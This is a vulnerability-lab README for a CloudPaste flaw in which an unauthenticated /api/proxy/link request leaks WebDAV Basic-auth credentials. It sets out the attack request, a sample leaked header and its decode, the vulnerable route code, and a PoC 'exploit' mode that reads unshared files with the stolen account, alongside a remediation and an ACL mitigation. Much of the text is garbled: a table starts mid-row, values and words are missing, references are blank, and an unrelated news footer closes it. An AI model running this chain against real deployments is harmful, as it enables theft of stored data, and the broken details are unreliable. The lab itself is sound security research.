# CVE-2026-129494 — CloudPaste: the unauthenticated `/api/proxy/link` endpoint returns WebDAV storage credentials
[, branch via `LinkService.getShareUpstreamLink` → `WebDavStorageDriver.generateUpstreamRequest` |
| **Affected** | 1.1.0 – 1.9.1 (the vendor's 1.9.2 image still leaks — see §7) |
| **Fixed in** | no genuine vendor fix verified at publication time; this laboratory's fixed side is v1.9.1 source + a hash-checked synthetic remediation (documented as such) |
| **CWE** | CWE-306 (Missing Authentication for Critical Function), CWE-522 (Insufficiently Protected Credentials) |
| **Impact** | Full WebDAV storage compromise from one anonymous request: the branch of `/api/proxy/link` returns the upstream URL **and** the Basic Authorization header built from the WebDAV account — so anyone who knows a public slug can read, modify, and delete every file on the backing WebDAV service, including files never shared through CloudPaste |
| **Vector** | Network, unauthenticated — `POST /api/proxy/link` with `{"type":" ","slug":""}` |
| **Trigger** | a whose storage is WebDAV with `use_proxy=0`; the driver hands its `Authorization: Basic …` header to the endpoint, which returns it unchanged |
| **Credit** | advisory at vul.yulun.ac.cn/20261115/cloudpaste/ |
`POST /api/proxy/link` exists so a reverse proxy can resolve upstream
addresses. It has no authentication middleware; for a WebDAV-backed
it returns the upstream URL **and** the Basic Authorization header
the WebDAV driver builds from the storage configuration — handing the
{"code":200,"data":{"url":"
"header":{"Authorization":["Basic ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA=="]}}}
`echo ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA== | base64 -d` →
`davuser:davpass-SECRET`. This laboratory runs the **vendor's published
container image** for the vulnerable side, a stdlib WebDAV stub with one
shared and one never-shared file, and proves the full chain: one
anonymous request → credentials → read the unshared file.
proxyLinkRoutes.post("/api/proxy/link", async (c) => {
// no authentication middleware — anonymous callers reach every branch
const storageLink = await linkService.getShareUpstreamLink(file, ...);
header: normalizeHeaders(storageLink.headers || {}), // ← credentials
`getShareUpstreamLink` → `driver.generateUpstreamRequest` (WebDAV
driver) encodes the configured account into the header:
if (auth) headers["Authorization"] = [auth];
The endpoint was designed for a trusted reverse proxy; nothing enforces
that trust. Preconditions (a public WebDAV-backed ) are the
| `cp-vuln` | `dragon730/cloudpaste-backend:1.9.1` (vendor image, digest-pinned at pull) | the affected release |
| `cp-fixed` | `cve-2026-129494:fixed` — v1.9.1 source + `lab/patch-fixed.py` (hash-checked): the endpoint is internal-secret gated | the remediation shape |
| `cp-dav` | `cve-2026-129494-davstub:local` | stdlib WebDAV stub (Basic auth): `private.txt` (shared) + `admin-notes.txt` (never shared) |
| `poc` | `cve-2026-129494-poc:local` | stdlib-only Python driver |
The vendor image keeps its state in a `/data` volume (SQLite);
administrative setup (login, storage config, mount, ) is driven
through the product's own HTTP API exactly as in the advisory.
./run-lab.sh build # pulls the pinned vendor image, builds stub + PoC
./run-lab.sh up # cve129494lab network: cp-vuln, cp-fixed, cp-dav
./run-lab.sh sweep # check / exploit / probe / mitigation on both sides
`poc/poc.py` (stdlib only; mirrors the advisory's chain):
* **check** — admin setup once (storage/mount/ ) then one anonymous
`POST /api/proxy/link`. Exit 1 vulnerable, 0 safe, 3 no worker,
* **exploit** — setup → anonymous leak → decode the Basic header →
read the **never-shared** `admin-notes.txt` from the WebDAV stub with
the leaked account → full compromise statement.
* **probe** — endpoint matrix: anonymous link, bad slug, empty
* **mitigation** — no verified vendor fix (1.9.2 image still leaks);
the fixed container is the form a fix takes; deployment mitigation is
ACLing `/api/proxy/link` to the reverse proxy at the edge.
| run | `cp-vuln` (1.9.1) | `cp-fixed` (synthetic) |
| `check` anonymous link | **HTTP 200 + `Authorization: Basic …` → `davuser:davpass-SECRET`** | HTTP 403 `proxy link endpoint is internal-only` |
| `exploit` unshared-file read | **HTTP 200 `WEBDAV-UNSHARED-DATA`** | (no credentials) |
| `probe` bad slug / empty slug / bad type / empty body | 404 / 400 / 400 / 400 (upstream validation intact) | 403 on every form |
Captured runs: `evidence/check-*-run.txt`, `evidence/exploit-*-run.txt`,
`evidence/probe-*-run.txt`, `evidence/mitigation-*-run.txt`,
`evidence/versions.txt`, `evidence/0day-sweep.txt`.
* Podman (or Docker) with network-creation rights; every container
bounded on the isolated `cve129494lab` network.
* Outbound network at build (Docker Hub: the vendor image; GitHub +
## 7. Additional findings (0-day sweep on the fixed line)
The endpoint matrix is the surface sweep (`evidence/0day-sweep.txt`).
The remediated build refuses every anonymous form with 403; the shipped
build validates slugs/types identically but leaks on the one reachable
form. **The vendor's 1.9.2 image leaks identically to 1.9.1** (verified
against `dragon730/cloudpaste-backend:1.9.2`, digest
`b17f43129cfe8…`, 2026-11-16): the commit the advisory names as the
patch (`282ea1c`) does not remediate the endpoint in the published
image — this laboratory treats that as an unremediated-upstream finding
and uses a documented synthetic remediation for the differential.
run-lab.sh environment driver (build / up / sweep / down)
Makefile convenience targets
poc/poc.py the PoC (check / exploit / probe / mitigation)
poc/Dockerfile runner image (python:3.12-alpine)
lab/fixed.Dockerfile source build of the remediated backend
lab/patch-fixed.py the hash-checked synthetic remediation
lab/davstub.py stdlib WebDAV stub (shared + unshared files)
evidence/ captured runs of every mode on both sides
TRACKING.md excluded (working record)
* CVE record —
* Advisory —
* CloudPaste — (issue #223)
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
